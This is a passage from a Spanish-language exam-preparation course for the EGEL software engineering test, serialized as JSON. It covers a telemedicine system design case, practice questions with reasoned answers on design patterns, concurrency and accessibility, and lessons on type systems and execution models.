las acciones de un usuario novato en un módulo contable preguntándose si sabrá qué hacer y si entenderá la respuesta del sistema sin tener usuarios presentes.\n- **Respuesta Correcta:** **B) Inspección mediante Recorrido Cognitivo (*Cognitive Walkthrough*).**\n- **Justificación Técnica:** El Recorrido Cognitivo es una técnica de inspección analítica realizada por expertos centrada específicamente en la facilidad de aprendizaje (*learnability*). Evalúa si un usuario novato puede inferir la secuencia correcta de pasos para lograr su objetivo sin formación previa mediante cuatro preguntas directrices sobre las acciones y la retroalimentación.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Las pruebas A/B evalúan tráfico real en producción con dos variantes de software y usuarios reales.\n  - *C es incorrecta:* El protocolo Think-Aloud exige la participación activa de usuarios reales verbalizando sus pensamientos frente a un evaluador.\n  - *D es incorrecta:* Las pruebas de carga son pruebas no funcionales de infraestructura y rendimiento de servidores, no de interacción humana.\n","title":"2.3.7 Soluciones razonadas y análisis de distractores: Subárea 2.3"}],"contentMd":"","title":"2.3 Diseño de interfaces"},{"children":[],"contentMd":"# Repaso Integrador y Caso Transversal de Diseño: Bloque 2 (63 Reactivos)\n\nEl **Bloque 2: Diseño de Sistemas** representa **63 reactivos** del examen EGEL de Ingeniería de Software (aproximadamente una cuarta parte de la prueba total). En este bloque converge la ingeniería de alto nivel (estilos arquitectónicos y atributos de calidad), el detalle técnico de componentes y estructuras de datos (SOLID, patrones GoF, normalización y concurrencia) y la interfaz humano-computadora (heurísticas de usabilidad, ergonomía y accesibilidad WCAG).\n\nEl estudiante de excelencia no ve estas tres áreas como compartimentos aislados, sino como un engranaje continuo: **un requerimiento de calidad en la interfaz condiciona el contrato de la API, el cual exige un patrón de diseño en el componente y una política de concurrencia en la base de datos.**\n\n---\n\n## 1. Matriz de Conexión Holística del Bloque 2\n\n```\n┌──────────────────────────────────────────────────────────────────────────────────┐\n│                        ARQUITECTURA INTEGRADA DEL BLOQUE 2                       │\n│                                                                                  │\n│   Nivel 1: Macro-Arquitectura (2.1)                                             │\n│   • Estilo: Microservicios vs Monolito Modular vs Hexagonal                      │\n│   • Tácticas: ATAM, Resiliencia (Circuit Breaker), Escalabilidad                 │\n│                 │                                                                │\n│                 ▼                                                                │\n│   Nivel 2: Diseño de Componentes y Contratos (2.2)                              │\n│   • Principios: S.O.L.I.D. y bajo acoplamiento / alta cohesión                  │\n│   • Patrones GoF: Strategy, Observer, Factory, Adapter, Decorator                │\n│   • Contratos de API: RESTful (Idempotencia), gRPC, Versionado                  │\n│                 │                                                                │\n│                 ▼                                                                │\n│   Nivel 3: Persistencia y Gestión de Estado (2.2)                               │\n│   • Modelo Relacional normalizado (1FN a 3FN) vs Desnormalización analítica      │\n│   • Transacciones ACID, niveles de aislamiento ANSI, Bloqueo Pesimista/Optimista │\n│                 │                                                                │\n│                 ▼                                                                │\n│   Nivel 4: Interfaz de Usuario e Interacción Humana (2.3)                        │\n│   • Ergonomía: Leyes de Hick y Fitts, Heurísticas de Nielsen (Visibilidad/Error) │\n│   • Accesibilidad: WCAG 2.1 AA (P.O.U.R., Contraste 4.5:1, Teclado nativo)      │\n│   • Evaluación: Inspección Heurística (3-5 expertos), Pruebas con Usuarios       │\n└──────────────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 2. Caso de Estudio Transversal: Plataforma Nacional de Telemedicina y Receta Electrónica\n\nPara comprender cómo se articulan todas las competencias del Bloque 2 en un reactivo integrador de CENEVAL, analicemos el diseño integral de una plataforma hospitalaria nacional.\n\n### A. Contexto y Requerimientos del Sistema\n1. **Requerimiento 1 (Disponibilidad y Rendimiento):** La plataforma atiende a 5 millones de derechohabientes. El servicio de consulta de recetas debe operar 24/7 con tolerancia a fallas en centros de datos distribuidos geográficamente.\n2. **Requerimiento 2 (Integridad y Concurrencia):** Cada receta médica emitida por un médico tiene un número de folio único con firma digital. Las farmacias surten los medicamentos; un medicamento con inventario limitado no puede ser dispensado dos veces de forma simultánea.\n3. **Requerimiento 3 (Mantenibilidad y Extensibilidad):** La plataforma debe soportar múltiples métodos de autenticación (Llave electrónica gubernamental, reconocimiento facial, contraseña temporal SMS) y conectarse a tres sistemas de expediente clínico legados con interfaces heterogéneas.\n4. **Requerimiento 4 (Usabilidad y Accesibilidad):** Los pacientes (incluyendo adultos mayores con debilidad visual o temblor esencial en las manos) deben poder consultar sus dosis y fechas de citas en teléfonos móviles sin cometer errores ni extraviar su información.\n\n---\n\n### B. Decisiones de Diseño por Capa\n\n#### 1. Decisión Arquitectónica (Subárea 2.1)\n- **Estilo Arquitectónico:** **Arquitectura Orientada a Eventos (EDA) con Microservicios y Núcleo Hexagonal** para los servicios críticos.\n  - El servicio de *Recetas Médicas* y el servicio de *Dispensación en Farmacia* se comunican asíncronamente mediante un broker de eventos (Kafka/RabbitMQ) para garantizar que una caída de red en farmacias locales no impida la emisión de recetas en consultorios (táctica de disponibilidad por desacoplamiento temporal).\n  - En el microservicio de integración de expedientes clínicos, se aplica **Arquitectura Hexagonal (Puertos y Adaptadores)**: la lógica de dominio médico queda aislada en el núcleo; las conexiones hacia las tres bases de datos legadas se resuelven como adaptadores secundarios externos, garantizando testeabilidad unitaria sin depender de los servidores hospitalarios físicos.\n\n#### 2. Decisión a Nivel de Componentes y Patrones (Subárea 2.2)\n- **Extensibilidad de Autenticación:** Se implementa el patrón de diseño **Strategy** junto con el principio **Open/Closed (OCP)**: una interfaz `IAuthenticationStrategy` permite incorporar nuevos mecanismos biométricos o gubernamentales en el futuro mediante clases concretas independientes, sin modificar el flujo de inicio de sesión existente.\n- **Integración de Expedientes Legados:** Se aplica el patrón **Adapter**: los contratos incompatibles de las bases de datos de hospitales antiguos son transformados a la interfaz unificada `IPatientRecordService` del nuevo sistema.\n- **Diseño de APIs:** El endpoint de dispensación de medicamentos se diseña como `POST /recetas/{folio}/dispensaciones` con un encabezado de idempotencia `Idempotency-Key`. La consulta de recetas utiliza `GET /recetas?paciente_id={id}` con soporte de caché HTTP (`Cache-Control: private, max-age=300, ETag`) para minimizar la latencia.\n\n#### 3. Decisión de Persistencia y Concurrencia (Subárea 2.2)\n- **Esquema Relacional:** La tabla `RECETA` se normaliza en **3FN** separando `DETALLE_RECETA` y `MEDICAMENTO` para evitar anomalías de actualización. La relación entre `RECETA` y `DETALLE_RECETA` aplica una clave foránea con integridad referencial estricta.\n- **Control de Concurrencia en Inventario:** Cuando dos farmacéuticos en sucursales distintas intentan dispensar la última caja de un antibiótico controlado al mismo segundo:\n  - Para inventarios locales de alta rotación en sucursal: **Bloqueo Pesimista** (`SELECT stock FROM inventario WHERE medicamento_id = :id FOR UPDATE;`) dentro de una transacción corta con nivel de aislamiento `Read Committed`, garantizando que la segunda transacción espere el commit de la primera y detecte que el stock llegó a cero sin permitir sobreventas (*lost updates*).\n  - Para la actualización del perfil del paciente y notas de consulta: **Bloqueo Optimista** con columna `version`, evitando bloqueos prolongados mientras el médico redacta la historia clínica.\n\n#### 4. Decisión de Interfaz de Usuario y Ergonomía (Subárea 2.3)\n- **Accesibilidad WCAG 2.1 Nivel AA:**\n  - Todo el texto del portal de pacientes se maqueta en unidades relativas `rem` con una relación de contraste mínima de **4.5:1** contra el fondo blanco, permitiendo a los adultos mayores escalar la fuente al 200% sin que el texto se trunque o rompa el contenedor.\n  - La navegación móvil sitúa las acciones principales (\"Ver mi receta activa\", \"Llamar a urgencias\") fijas en la barra inferior (*Bottom Bar*), con botones amplios de al menos $56 \\times 56$ dp conforme a la **Ley de Fitts**.\n  - No se utiliza el color de forma exclusiva para alertar sobre medicamentos vencidos: se acompaña el fondo ámbar de un ícono de advertencia triangular y un texto legible: *\"Medicamento vencido el 10/Ene/2026\"*.\n- **Prevención de Errores y Usabilidad:**\n  - Al ingresar la dosis por parte del médico, el sistema provee un selector estructurado de unidades (mg, ml, tabletas) y calcula en tiempo real si la dosis excede el rango terapéutico seguro según el peso del paciente (Heurística 5 de Nielsen: Prevención de errores).\n  - El botón para \"Cancelar Receta Emitida\" (acción destructiva) requiere confirmación mediante un diálogo modal que solicita registrar el motivo médico de la cancelación antes de habilitar el botón destructivo.\n\n---\n\n## 3. Matriz de Síntesis: Conceptos Trampa del Bloque 2 en el EGEL\n\n| Dimensión | Enfoque Correcto en el Examen | Trampa o Error Conceptual Frecuente |\n| :--- | :--- | :--- |\n| **Arquitectura (2.1)** | Un microservicio debe ser autónomo y poseer su propia base de datos (*Database per Service*). | Creer que microservicios significa simplemente dividir el código en carpetas pero compartiendo la misma base de datos relacional monolítica. |\n| **Componentes (2.2)** | El patrón Strategy intercambia familias de algoritmos; Decorator añade responsabilidades acumulativas transparentes. | Confundir Strategy con State (State cambia de comportamiento automáticamente ante transiciones de estado interno). |\n| **Bases de Datos (2.2)** | 2FN elimina dependencias parciales sobre claves compuestas; 3FN elimina dependencias transitivas entre columnas no clave. | Confundir dependencias transitivas con claves foráneas, o creer que 1FN permite arrays de strings. |\n| **Concurrencia (2.2)** | El bloqueo optimista usa una columna `version` y no retiene conexiones bloqueadas en el RDBMS; ideal para baja contención. | Usar `SELECT ... FOR UPDATE` (pesimista) dejando la transacción abierta mientras el usuario edita en pantalla. |\n| **Interfaces (2.3)** | El ratio de contraste exigido para nivel AA en texto normal es **4.5:1** (y 3:1 en texto grande). | Creer que el nivel AA exige 7:1 (7:1 es para AAA) o considerar que WCAG solo evalúa lectores de pantalla. |\n| **Leyes UX (2.3)** | Hick reduce opciones para acelerar decisiones; Fitts aumenta tamaño y reduce distancia para acelerar el clic motor. | Confundir la Ley de Hick (decisión mental) con la Ley de Fitts (movimiento físico motor). |\n\n---\n\n## 4. Gran Simulador de Juicio Profesional — Bloque 2\n\n### Reactivo 1 (Integración Arquitectura + Componentes)\nUna empresa de logística internacional experimenta fallos severos en su sistema de cotización de fletes. Actualmente, la clase `CotizadorEnvios` contiene 3,500 líneas de código con estructuras `switch-case` anidadas para calcular tarifas según el país de destino, tipo de transporte (aéreo, marítimo, terrestre) y si el paquete contiene materiales peligrosos. Cada mes, cuando una aerolínea modifica sus tarifas, los desarrolladores deben editar directamente esta clase gigante, introduciendo regresiones que rompen las cotizaciones marítimas. Adicionalmente, el cálculo tarda hasta 12 segundos porque invoca síncronamente los servicios SOAP de 8 aduanas externas.\n\n¿Qué conjunto coordinado de decisiones de diseño resuelve integralmente este problema arquitectónico y de componentes?\n- A) Convertir la clase en un Singleton para evitar instanciaciones repetidas y migrar la base de datos a NoSQL orientada a documentos.\n- B) Refactorizar la clase aplicando el principio Open/Closed (OCP) mediante el patrón Strategy para encapsular cada cálculo de flete en clases independientes, e implementar una arquitectura asíncrona basada en eventos o llamadas paralelas no bloqueantes con timeout y caché para las aduanas externas.\n- C) Aplicar el patrón Decorator sobre una única clase monolítica y cambiar el nivel de aislamiento de la base de datos a Read Uncommitted.\n- D) Dividir la clase en 8 subclases que hereden de un método estático y exigir a los clientes que envíen un archivo XML por FTP.\n\n---\n\n### Reactivo 2 (Integración Datos + Concurrencia)\nEn el módulo de asignación de turnos para una clínica de especialidades, dos recepcionistas abren simultáneamente en sus navegadores la misma cita disponible para un cardiólogo a las 10:00 AM. Ambas tardan 2 minutos completando los datos del paciente y presionan \"Reservar Cita\" con una diferencia de 300 milisegundos. El sistema actual sobrescribe la reserva, dejando a dos pacientes asignados al mismo médico a la misma hora sin registrar conflicto alguno. \n\n¿Qué anomalía de concurrencia ocurrió y qué solución técnica garantiza la integridad transaccional con la menor degradación del servidor web?\n- A) Ocurrió una Lectura Sucia; se soluciona incrementando el nivel de aislamiento a Read Uncommitted.\n- B) Ocurrió una Pérdida de Actualización (Lost Update); se soluciona implementando control de concurrencia optimista mediante una columna `version` en la tabla de citas, de modo que la segunda transacción detecte cero filas afectadas al intentar persistir con una versión desactualizada y lance una excepción controlada.\n- C) Ocurrió una Lectura Fantasma; se soluciona adquiriendo un bloqueo de tabla completo mediante `LOCK TABLE citas IN EXCLUSIVE MODE` desde que la recepcionista abre el formulario en su navegador.\n- D) Ocurrió una falla de normalización por violar la 1FN; se soluciona agregando un array de pacientes en la fila del turno.\n\n---\n\n### Reactivo 3 (Integración Interfaces + Usabilidad + Accesibilidad)\nDurante el lanzamiento de un sistema de registro para un examen nacional de admisión universitaria, miles de aspirantes reportan no haber podido completar su inscripción. La auditoría de diseño revela los siguientes hallazgos:\n1. El formulario solicita 38 campos seguidos en una sola pantalla sin indicadores de avance.\n2. Los campos de texto no tienen etiquetas `\u003clabel\u003e`, sino que utilizan el atributo `placeholder` con texto gris claro (`#B0B0B0`) sobre fondo blanco (`#FFFFFF`).\n3. El botón final de envío se ubica en la esquina superior izquierda como un vínculo de texto sin contraste.\n4. Cuando un aspirante olvida llenar un campo obligatorio, la página se recarga vaciando todos los campos y desplegando un mensaje en rojo: *\"Error en petición HTTP 400\"*.\n\n¿Cuál de las siguientes propuestas de rediseño atiende de forma integral las violaciones a los principios de usabilidad, ergonomía y accesibilidad WCAG?\n- A) Aumentar la velocidad del servidor backend agregando réplicas de lectura y cambiar la base de datos a MongoDB.\n- B) Implementar un asistente por pasos (Stepper) aplicando la Ley de Hick; colocar etiquetas `\u003clabel\u003e` permanentes arriba de cada campo con contraste superior a 4.5:1 (WCAG AA); reubicar el botón de acción principal de forma destacada y accesible según la Ley de Fitts; e incorporar validación interactiva inline en el cliente preservando los datos ya capturados ante errores con mensajes claros y constructivos.\n- C) Conservar el formulario en una sola página pero agregar un diálogo modal que pregunte \"¿Desea continuar?\" en cada campo de texto llenado.\n- D) Convertir el formulario en un video interactivo animado para que los aspirantes solo escuchen las preguntas sin necesidad de leer la pantalla.\n\n---\n\n## 5. Soluciones Razonadas del Gran Simulador del Bloque 2\n\n### Solución Reactivo 1\n- **Respuesta Correcta:** **B**\n- **Justificación:** El problema de fondo es la violación flagrante del Principio Abierto/Cerrado (**OCP**) y la existencia de una clase con baja cohesión y alto acoplamiento. El patrón **Strategy** desacopla cada algoritmo de cotización por país y medio de transporte en su propia clase concreta bajo una interfaz polimórfica (`ICotizacionStrategy`), permitiendo añadir nuevas tarifas sin tocar código existente. Por su parte, la latencia de 12 segundos causada por dependencias síncronas se resuelve mediante concurrencia no bloqueante (llamadas asíncronas paralelas con timeouts e implementación de caché o eventos), eliminando el cuello de botella. Las demás opciones introducen antipatrones (Singleton no resuelve OCP; Read Uncommitted es irrelevante para llamadas de red y rompe la consistencia).\n\n### Solución Reactivo 2\n- **Respuesta Correcta:** **B**\n- **Justificación:** Cuando dos transacciones concurrentes leen el mismo estado y ambas escriben basándose en lo que leyeron originalmente sin que la segunda perciba que la primera ya alteró el recurso, ocurre una **Pérdida de Actualización (Lost Update)**. Dado que las recepcionistas tardan 2 minutos completando datos (transacción humana larga), un bloqueo pesimista retendría bloqueos o conexiones durante minutos agotando el pool de conexiones. El **bloqueo optimista** con columna `version` (`UPDATE cita SET estado = 'OCUPADA', version = version + 1 WHERE id = :id AND version = :version_leida`) es la solución de ingeniería ideal: la primera recepcionista actualiza la fila (versión pasa de 1 a 2); la segunda intenta actualizar buscando `version = 1`, afecta cero filas y la aplicación notifica de inmediato: *\"La cita acaba de ser tomada por otra recepcionista; por favor seleccione otro horario\"*.\n\n### Solución Reactivo 3\n- **Respuesta Correcta:** **B**\n- **Justificación:** La alternativa B corrige sistemáticamente cada una de las cuatro fallas detectadas:\n  1. El Stepper/Wizard aplica la **Ley de Hick** y la **Ley de Miller**, mitigando la sobrecarga cognitiva de los 38 campos.\n  2. Sustituir placeholders por etiquetas `\u003clabel\u003e` externas corrige la violación a *Reconocimiento antes que recuerdo* (Nielsen 6), y aumentar el contraste por encima de 4.5:1 cumple formalmente con el criterio **WCAG 2.1 AA** de Perceptibilidad.\n  3. Rediseñar el botón de envío aplicando la **Ley de Fitts** asegura un área de toque adecuada y visible.\n  4. La validación interactiva inline con mensajes constructivos cumple con la Heurística 9 de Nielsen y evita el grave fallo de purgar los datos válidos del usuario.\n","title":"2.4 Repaso integrador y caso transversal de diseño: Bloque 2"}],"shortDescription":"Arquitectura de software, diseño de componentes orientados a objetos, contratos de APIs, modelado y persistencia en bases de datos relacionales, y diseño ergonómico y accesible de interfaces humano-computadora (Peso: 63 reactivos).","title":"Bloque 2. Diseño de Sistemas de Software"},{"children":[{"children":[{"children":[],"contentMd":"# Sintaxis, Semántica, Sistemas de Tipado y Modelos de Ejecución\n\nEn el examen EGEL de Ingeniería de Software, la Subárea 3.1 (**Lenguajes de desarrollo - 20 reactivos**) evalúa los fundamentos formales que rigen el comportamiento, rendimiento y seguridad del código fuente. Comprender la distinción entre sintaxis y semántica, el espectro de sistemas de tipado y los diferentes modelos de traducción y ejecución (compilados, interpretados y basados en máquinas virtuales con compilación JIT) es indispensable para seleccionar la tecnología adecuada y responder reactivos de evaluación técnica rigurosa.\n\n---\n\n## 1. Sintaxis vs Semántica en Lenguajes de Programación\n\nLa teoría de lenguajes de programación distingue claramente dos niveles de corrección en el software:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        SINTAXIS VS SEMÁNTICA                           │\n│                                                                        │\n│   SINTAXIS: \"¿Está bien escrita la oración?\"                          │\n│   • Gramática formal (BNF / EBNF)                                      │\n│   • Tokens, palabras reservadas, llaves, puntos y coma                 │\n│   • Error sintáctico: if (x \u003e 0 { ... } // Falta paréntesis de cierre │\n│                                                                        │\n│   SEMÁNTICA: \"¿Tiene sentido y validez lógica lo que dice?\"           │\n│   • Significado operativo y coherencia lógica de las instrucciones     │\n│   • Semántica estática: Reglas de tipos (sumar un entero y un booleano)│\n│   • Semántica dinámica: Comportamiento en runtime (división por cero) │\n│   • Error semántico: int promedio = suma / 0; // Sintaxis válida, fallo│\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n| Dimensión | Definición Formal | Momento de Detección | Ejemplo Representativo |\n| :--- | :--- | :--- | :--- |\n| **Error Sintáctico** | Violación de las reglas gramaticales del lenguaje definidas por su gramática libre de contexto. El analizador sintáctico (*parser*) no puede generar el árbol de sintaxis abstracta (AST). | **Tiempo de compilación / parsing** (inmediato). | Omitir un paréntesis de cierre, escribir `funtion` en vez de `function`, o duplicar un operador: `x = = 5;`. |\n| **Error Semántico Estático** | Estructura gramaticalmente correcta pero que viola las reglas de significado y coherencia del sistema de tipos o alcance (*scope*) del lenguaje. | **Tiempo de compilación / análisis semántico**. | Declarar una variable entera e intentar asignarle una cadena de texto en C++: `int x = \"hola\";`, o invocar un método inexistente en un objeto tipado. |\n| **Error Semántico Dinámico (Runtime)** | La expresión es válida gramaticalmente y pasa la revisión de tipos, pero la operación lógica en tiempo de ejecución conduce a un estado inválido o excepción fatal. | **Tiempo de ejecución (Runtime)**. | Desreferenciar un puntero o referencia nula (*NullPointerException*), división entre cero, o desbordamiento de búfer (*buffer overflow*). |\n\n---\n\n## 2. Taxonomía de Sistemas de Tipado\n\nEl sistema de tipos es un conjunto de reglas que asigna una propiedad llamada \"tipo\" a los constructos de un programa (variables, expresiones, funciones). Existen dos ejes ortogonales independientes:\n\n```\n                                SISTEMAS DE TIPADO\n                                        │\n           ┌────────────────────────────┴────────────────────────────┐\n           ▼                                                         ▼\n    MOMENTO DE CHEQUEO                                       RIGOR DE CONVERSIÓN\n  ┌─────────────────────┐                                   ┌─────────────────────┐\n  │ Estático vs Dinámico│                                   │ Fuerte vs Débil     │\n  └─────────────────────┘                                   └─────────────────────┘\n```\n\n### Eje 1: Tipado Estático vs Tipado Dinámico (¿Cuándo se verifican los tipos?)\n\n- **Tipado Estático (Static Typing):**\n  - Los tipos se comprueban durante la **compilación**, antes de que el programa se ejecute.\n  - Las variables están asociadas a un tipo inmutable.\n  - *Ventajas:* Detección temprana de errores semánticos; optimizaciones agresivas de compilador (código máquina más rápido); documentación viva y autocompletado fiable en IDEs.\n  - *Inferencia de tipos moderna:* Lenguajes modernos con tipado estático (Kotlin, TypeScript, Rust, Go, C#) permiten omitir la declaración explícita del tipo (`var x = 10;` o `let x = \"hola\"`), pero el tipo se resuelve y fija en tiempo de compilación. **Inferencia de tipos no es tipado dinámico.**\n  - *Ejemplos:* Java, C, C++, Rust, Go, Kotlin, C#.\n- **Tipado Dinámico (Dynamic Typing):**\n  - Los tipos se comprueban en **tiempo de ejecución** (*runtime*).\n  - Los valores tienen tipo, pero las variables son meros contenedores o etiquetas que pueden referenciar objetos de distintos tipos a lo largo de su ciclo de vida.\n  - *Ventajas:* Desarrollo y prototipado rápido; alta flexibilidad y metaprogramación.\n  - *Desventajas:* Los errores de tipo se descubren en producción si no existe una batería exhaustiva de pruebas automatizadas; sobrecarga computacional en runtime para inspeccionar tipos.\n  - *Ejemplos:* Python, JavaScript, Ruby, PHP.\n\n---\n\n### Eje 2: Tipado Fuerte vs Tipado Débil (¿Qué tan estricto es el lenguaje con conversiones implícitas?)\n\n- **Tipado Fuerte (Strong Typing):**\n  - El lenguaje **prohíbe conversiones de tipo implícitas e inesperadas** (*coercion*) que alteren el valor o provoquen pérdida de significado. Si los tipos no coinciden, lanza un error de compilación o excepción en runtime.\n  - *Ejemplo en Python (Dinámico + Fuerte):* `\"5\" + 2` produce un `TypeError: can only concatenate str (not \"int\") to str`. Python no asume mágicamente cómo convertir los datos.\n- **Tipado Débil (Weak Typing):**\n  - El lenguaje realiza **conversiones implícitas silenciosas** entre tipos incompatibles para intentar completar la operación sin detenerse.\n  - *Ejemplo en JavaScript (Dinámico + Débil):* `\"5\" + 2` resulta en la cadena `\"52\"` (concatenación), pero `\"5\" - 2` resulta en el número `3` (conversión numérica).\n  - *Ejemplo en C (Estático + Débil):* Permite reinterpretar un puntero a entero como un puntero a caracter o transferir memoria arbitraria sin validación, arriesgando corrupción de datos.\n\n### Matriz de Clasificación Cuadrante\n\n| | Tipado Fuerte | Tipado Débil |\n| :--- | :--- | :--- |\n| **Tipado Estático** | **Java, Rust, C#, Kotlin, Haskell**\u003cbr\u003e*(Máxima seguridad en compilación)* | **C, C++**\u003cbr\u003e*(Rápido pero propenso a errores de punteros y coercion no segura)* |\n| **Tipado Dinámico** | **Python, Ruby, Clojure**\u003cbr\u003e*(Flexible pero estricto en no mezclar tipos arbitrariamente)* | **JavaScript, PHP (versiones históricas), Perl**\u003cbr\u003e*(Conversiones implícitas frecuentes y permisivas)* |\n\n---\n\n## 3. Modelos de Traducción y Ejecución de Código\n\nPara que el hardware (CPU) ejecute las instrucciones escritas por un programador, el código debe traducirse al lenguaje binario de la arquitectura del procesador (x86-64, ARM64, RISC-V). Existen tres paradigmas fundamentales:\n\n```\n┌────────────────────────────────────────────────────────────────────────────────┐\n│                        MODELOS DE TRADUCCIÓN Y EJECUCIÓN                       │\n│                                                                                │\n│   A. COMPILACIÓN NATIVA (AOT - Ahead of Time)                                  │\n│      Código Fuente ──▶ Compilador ──▶ Código Máquina Binario (.exe/.elf) ──▶ CPU│\n│                                                                                │\n│   B. INTERPRETACIÓN PURA                                                       │\n│      Código Fuente ──▶ Intérprete (Lee y ejecuta instrucción por instrucción)  │\n│                                                                                │\n│   C. MÁQUINAS VIRTUALES CON BYTECODE Y COMPILACIÓN JIT (Just-in-Time)          │\n│      Código Fuente ──▶ Compilador ──▶ Bytecode (.class/.dll)                    │\n│                                              │                                 │\n│                                              ▼ (Máquina Virtual / Runtime)     │\n│                                        Intérprete VM + JIT Compiler ──▶ CPU    │\n└────────────────────────────────────────────────────────────────────────────────┘\n```\n\n| Modelo | Mecánica Interna | Ventajas Técnicas | Desventajas Técnicas | Lenguajes Representativos |\n| :--- | :--- | :--- | :--- | :--- |\n| **Compilación Nativa (AOT)** | El código fuente se traduce directamente a código máquina binario específico de una arquitectura de hardware y sistema operativo antes de la distribución. | - Rendimiento máximo (cero sobrecarga de interpretación en runtime).\u003cbr\u003e- Arranque instantáneo.\u003cbr\u003e- Uso predecible de memoria. | - Falta de portabilidad binaria (debe recompilarse para cada sistema operativo y CPU).\u003cbr\u003e- Tiempos de compilación largos. | C, C++, Rust, Go, Swift. |\n| **Interpretación Pura** | Un programa intérprete lee el código fuente línea por línea, analiza su significado y ejecuta las acciones directamente sin generar código binario intermedio persistente. | - Portabilidad inmediata (se ejecuta en cualquier máquina que posea el intérprete).\u003cbr\u003e- Ciclo de desarrollo interactivo (REPL inmediato). | - Rendimiento drásticamente más lento (de 10x a 50x comparado con código nativo).\u003cbr\u003e- Errores de sintaxis en rutas no transitadas solo se descubren al ejecutarse. | Shell Script (Bash), PHP inicial, Ruby inicial. |\n| **Máquina Virtual con Bytecode y JIT** | El compilador traduce el código fuente a un lenguaje intermedio optimizado y portable llamado **Bytecode**. Una Máquina Virtual (JVM, CLR) interpreta el bytecode y compila en caliente (*Just-in-Time*) los métodos de ejecución frecuente (*hotspots*) a código máquina nativo. | - Portabilidad (\"Escribe una vez, ejecuta en todas partes\").\u003cbr\u003e- Seguridad en runtime (sandboxing, recolección de basura integrada).\u003cbr\u003e- Optimizaciones adaptativas basadas en telemetría de ejecución en tiempo real. | - Mayor consumo de memoria RAM para albergar la Máquina Virtual.\u003cbr\u003e- Tiempo de arranque más lento (*cold start* por calentamiento del JIT). | Java (JVM), C# (.NET CLR), Dart (Flutter), JavaScript (V8). |\n\n---\n\n## 4. Escenarios de Decisión Profesional\n\n### Escenario A: Sistema de Control de Frenado ABS en Automoción\n- **Requerimiento:** Tiempo de respuesta determinista estricto en submilisegundos ($\u003c 5\\text{ ms}$), huella de memoria minúscula y cero tolerancia a pausas impredecibles del sistema.\n- **Evaluación:**\n  - Un lenguaje con Máquina Virtual y Garbage Collector (Java o C#) es inaceptable: las pausas de recolección de basura (*Stop-the-World*) introducirían latencias impredecibles que provocarían accidentes fatales.\n  - Un lenguaje interpretado o de tipado dinámico carece de velocidad y de verificación estricta en compilación.\n- **Decisión:** **Compilación nativa AOT con tipado estático fuerte sin recolector de basura** (C o Rust). Permite control determinista de memoria y latencia predecible.\n\n### Escenario B: Plataforma de Microservicios Empresariales Transaccionales\n- **Requerimiento:** Alta velocidad de desarrollo, seguridad de tipos para evitar errores en transacciones financieras, amplia disponibilidad de librerías empresariales probadas y portabilidad multiplataforma en contenedores Docker sobre servidores Linux x86 y ARM.\n- **Evaluación:**\n  - C/C++ requeriría compilaciones cruzadas complejas y expone al sistema a fallos de seguridad por desbordamiento de búfer o punteros colgantes.\n  - Python o JavaScript tienen tipado dinámico que traslada errores semánticos a producción si no se cubren exhaustivamente con pruebas.\n- **Decisión:** **Lenguaje estáticamente tipado sobre Máquina Virtual moderna con JIT y recolector de basura** (Java/Kotlin sobre JVM o C# sobre .NET Core). Combina seguridad de tipos estática, portabilidad absoluta de bytecode en contenedores y alta optimización en ejecución continua.\n\n---\n\n## 5. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Confundir Inferencia de Tipos con Tipado Dinámico.**\n\u003e Si en Kotlin o C# escribes `var contador = 0;`, el compilador **infiere** en tiempo de compilación que `contador` es un entero de 32 bits (`Int`). Si luego intentas asignar `contador = \"hola\";`, el compilador arrojará un error semántico de tipos. El tipado sigue siendo **estricto y estático**. En un lenguaje dinámico como JavaScript, `let contador = 0; contador = \"hola\";` es perfectamente legal en runtime.\n\n\u003e **Trampa 2: Afirmar que Java o C# son lenguajes puramente interpretados.**\n\u003e Java y C# son lenguajes **híbridos**: compilan primero el código fuente a un formato intermedio binario (**Bytecode** / CIL) y luego la Máquina Virtual lo ejecuta mediante interpretación y **compilación JIT (Just-In-Time)** a código máquina nativo para métodos críticos. No son intérpretes puros.\n\n\u003e **Trampa 3: Creer que Tipado Fuerte es lo mismo que Tipado Estático.**\n\u003e Son conceptos independientes:\n\u003e - Python tiene tipado **dinámico** (chequea en runtime) pero **fuerte** (no permite sumar números con texto).\n\u003e - C tiene tipado **estático** (chequea en compilación) pero **débil** (permite forzar conversiones arbitrarias de memoria entre tipos con punteros).\n\n---\n\n## 6. Autoevaluación Formativa\n\n### Pregunta 1\nAl desarrollar un módulo contable en un lenguaje de programación, un ingeniero escribe la instrucción `float total = \"quinientos\";`. El entorno de desarrollo arroja inmediatamente un error impidiendo generar el binario del programa. ¿Qué fase del procesamiento del lenguaje detectó este problema y cómo se clasifica formalmente este error?\n- A) Fase de análisis léxico; es un error sintáctico por falta de tokens válidos.\n- B) Fase de análisis semántico; es un error semántico estático por incompatibilidad de tipos en un lenguaje de tipado estático.\n- C) Fase de optimización de código; es un error dinámico de desbordamiento de memoria.\n- D) Fase de ejecución en la máquina virtual; es un error de desreferenciación nula.\n\n### Pregunta 2\nUna compañía tecnológica requiere construir un motor de procesamiento de audio en tiempo real para sintetizadores musicales. El sistema exige latencias garantizadas inferiores a 2 milisegundos por bloque de audio y debe ejecutarse en procesadores integrados de bajo consumo. ¿Qué combinación de modelo de ejecución y sistema de tipado es la más apropiada arquitectónicamente para este propósito?\n- A) Lenguaje con tipado dinámico y ejecución interpretada para facilitar la edición de filtros en vivo.\n- B) Lenguaje con tipado estático y compilación nativa directa a código máquina (AOT) sin recolector de basura automatizado que introduzca pausas impredecibles.\n- C) Lenguaje basado en Máquina Virtual con recolector de basura generacional para maximizar la portabilidad entre sistemas operativos.\n- D) Lenguaje con tipado estático débil basado exclusivamente en scripts ejecutados en un motor de navegación web.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.1.7 de esta subárea).*\n","title":"3.1.1 Sintaxis, semántica, sistemas de tipado y modelos de ejecución"},{"children":[],"contentMd":"# Gestión de Memoria: Stack vs Heap, Punteros y Algoritmos de Garbage Collection\n\nLa gestión de memoria es una de las disciplinas centrales de la ingeniería de software de sistemas. Determina la estabilidad, latencia y consumo de recursos de una aplicación. En el examen EGEL, las preguntas evalúan la comprensión formal de la estructura de la memoria del proceso (Stack vs Heap), los riesgos del manejo manual de memoria mediante punteros frente a referencias seguras, las causas de las fugas de memoria (*memory leaks*) y los principios operativos de los algoritmos de 